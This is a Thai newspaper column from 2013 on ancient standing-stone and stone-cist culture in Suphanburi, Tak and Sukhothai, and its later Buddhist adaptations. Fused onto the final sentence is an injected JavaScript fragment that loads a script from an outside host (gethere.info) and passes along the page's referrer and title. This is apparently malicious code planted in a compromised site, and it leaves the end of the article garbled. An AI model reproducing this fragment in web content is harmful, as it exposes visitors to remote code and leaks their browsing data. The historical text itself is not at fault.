มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 3 ตุลาคม 2556

 

หินตั้ง สุพรรณบุรี, ตาก, สุโขทัย        

          หินตั้ง เป็นวัฒนธรรมเก่าแก่ราว 2,500 ปีมาแล้ว (หรือราว พ.ศ. 1) โดยใช้หินทำสัญลักษณ์ทางศาสนาผี พบทั่วไปในอุษาคเนย์ทั้งผืนแผ่นดินใหญ่และหมู่เกาะ

          ในไทยก็พบเกือบทั่วประเทศ โดยเฉพาะพบบนทิวเขา ที่ อ. อู่ทอง จ. สุพรรณบุรี (อ่านรายละเอียดในสุวรรณภูมิ สังคมวัฒนธรรม ฉบับวันนี้)

          แล้วยังมีผู้พบวัฒนธรรมหินตั้งอยู่บริเวณเหนือขึ้นไปอีก ถึง จ. ตาก ต่อเนื่อง จ. สุโขทัย มีชุมชนยุคเหล็กเป็นต้นทางประวัติศาสตร์สุโขทัย

          แต่ที่แปลกประหลาดมหัศจรรย์ คือ กล่องหิน หรือโลงหิน พบที่ จ. ตาก มีรายละเอียดทางวิชาการในบทความเรื่อง วัฒนธรรมการทำกล่องหินที่แหล่งโบราณคดีบ้านวังประจบและนายเสียน หนึ่งในปริศนาที่ต้องช่วยกันขบคิด โดย พิพัฒน์ กระแจะจันทร์ อาจารย์ประจำภาควิชาประวัติศาสตร์ คณะศิลปศาสตร์ ม. ธรรมศาสตร์ (พิมพ์อยู่ในวารสารวิชาการ ชุมทางอินโดจีน เอเชียตะวันออกเฉียงใต้ปริทัศน์ ปีที่ 2 ฉบับที่ 3 กรกฎาคม-ธันวาคม 2556 หน้า 211-240)

          งานทางวิชาการประวัติศาสตร์โบราณคดีเรื่องกล่องหิน ของ อ. พิพัฒน์ เรื่องนี้ เป็นความก้าวหน้าอย่างสำคัญต่อต้นทางประวัติศาสตร์ไทย

          กล่องหิน หรือโลงหิน (เอาหินเป็นแผ่นๆมาปักดินตั้งเรียงกันรูปสี่เหลี่ยมผืนผ้าเหมือนคอกหิน) เป็นหินตั้งอีกประเภทหนึ่ง แม้จะพบในเขต จ. ตาก แต่อยู่ปลายแดนต่อกับเขต จ. สุโขทัย ถือเป็นชุมชนกลุ่มเดียวกันเมื่อ 2,500 ปีมาแล้ว

          เมื่อพบอย่างนี้ก็เท่ากับเป็นหลักฐานว่าคนยุคสุวรรณภูมิเดินทางไปมาหากันตั้งแต่ลุ่มน้ำยม-ปิง ลงไปลุ่มน้ำท่าจีน-แม่กลอง สืบจนเป็นรัฐสุพรรณภูมิและรัฐสุโขทัย

          ชวนให้สงสัยว่า กล่องหิน, โลงหิน, คอกหิน จะมีพัฒนาการเป็นสิ่งที่คนแต่ก่อนเรียกในตำนานว่า“ก่อล้อม”ด้วยหิน แล้วกลายเป็น กล๋อม, กะหลอม จนลากเป็นขอม

          ขณะเดียวกันก็เป็นต้นแบบให้มีหีบหิน (โลงศพทำด้วยหิน) และกำแพงวัดทำด้วยหินเป็นแผ่นปักดินในสมัยสุโขทัย

 

หินตั้ง มีบนภูเขาที่เมืองสุโขทัย

          หินตั้ง เป็นศัพท์มีใช้แล้วตั้งแต่ยุคอยุธยา พบในพระราชพงศาวดารเหนือ (หมายถึงเมืองเหนือ คือบริเวณที่เป็นรัฐสุโขทัย ไม่ใช่ภาคเหนือ หรือล้านนา)

          มีในบทเรื่องพระยาแกรก กล่าวถึงมหาเถรไลยลาย  (เชื้อสายวงศ์ละโว้) ได้พระบรมธาตุจากลังกา จึงเชิญไปประดิษฐานบนที่ศักดิ์สิทธิ์หลายแห่ง และบนที่แห่งหนึ่งระบุชัดเจนว่า

          “ในเขาหินตั้งเมืองสุโขทัย”

          ชื่อเขาหินตั้ง หมายถึง ภูเขาที่มีหินซึ่งคนทำตั้งไว้ อาจเหมือนหรือคล้ายคลึงกันก็ได้กับที่พบบนเขาพุหางนาค อ. อู่ทอง จ. สุพรรณบุรี

          วัฒนธรรมหินตั้ง น่าจะมีตั้งแต่ราว 3,000-2,500 ปีมาแล้ว สืบจนยุคหลังๆมีร่องรอยในเอกสารไทย-ลาวเขียนในยุคอยุธยา แต่เรียกชื่อต่างๆ กัน เช่น หิน 7 ก้อน, หลักหิน, ก้อนก่ายฟ้า, หินก้อนเส้า, หินสามเส้า, ฯลฯ

          เมื่อรับพุทธศาสนาแล้ว วัฒนธรรมหินตั้งก็ถูกปรับเปลี่ยนเป็นสถูปเจดีย์ แล้วเรียกชื่อต่างๆ ไป เช่น เจดีย์สามองค์ (ที่ อ. สังขละ จ. กาญจนบุรี) เดิมคือ หินสามก้อน, เจดีย์ครอบหิน (ในนิทานขุนบรมในลาว) สร้างเจดีย์ครอบหินศักดิ์สิทธิ์

          หรือบางแห่งปรับเปลี่ยนเป็นเสมาหิน เช่น ภูพระบาท (ที่ อ. บ้านผือ จ. อุดรธานี) และอีกหลายแห่งในอีสานs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;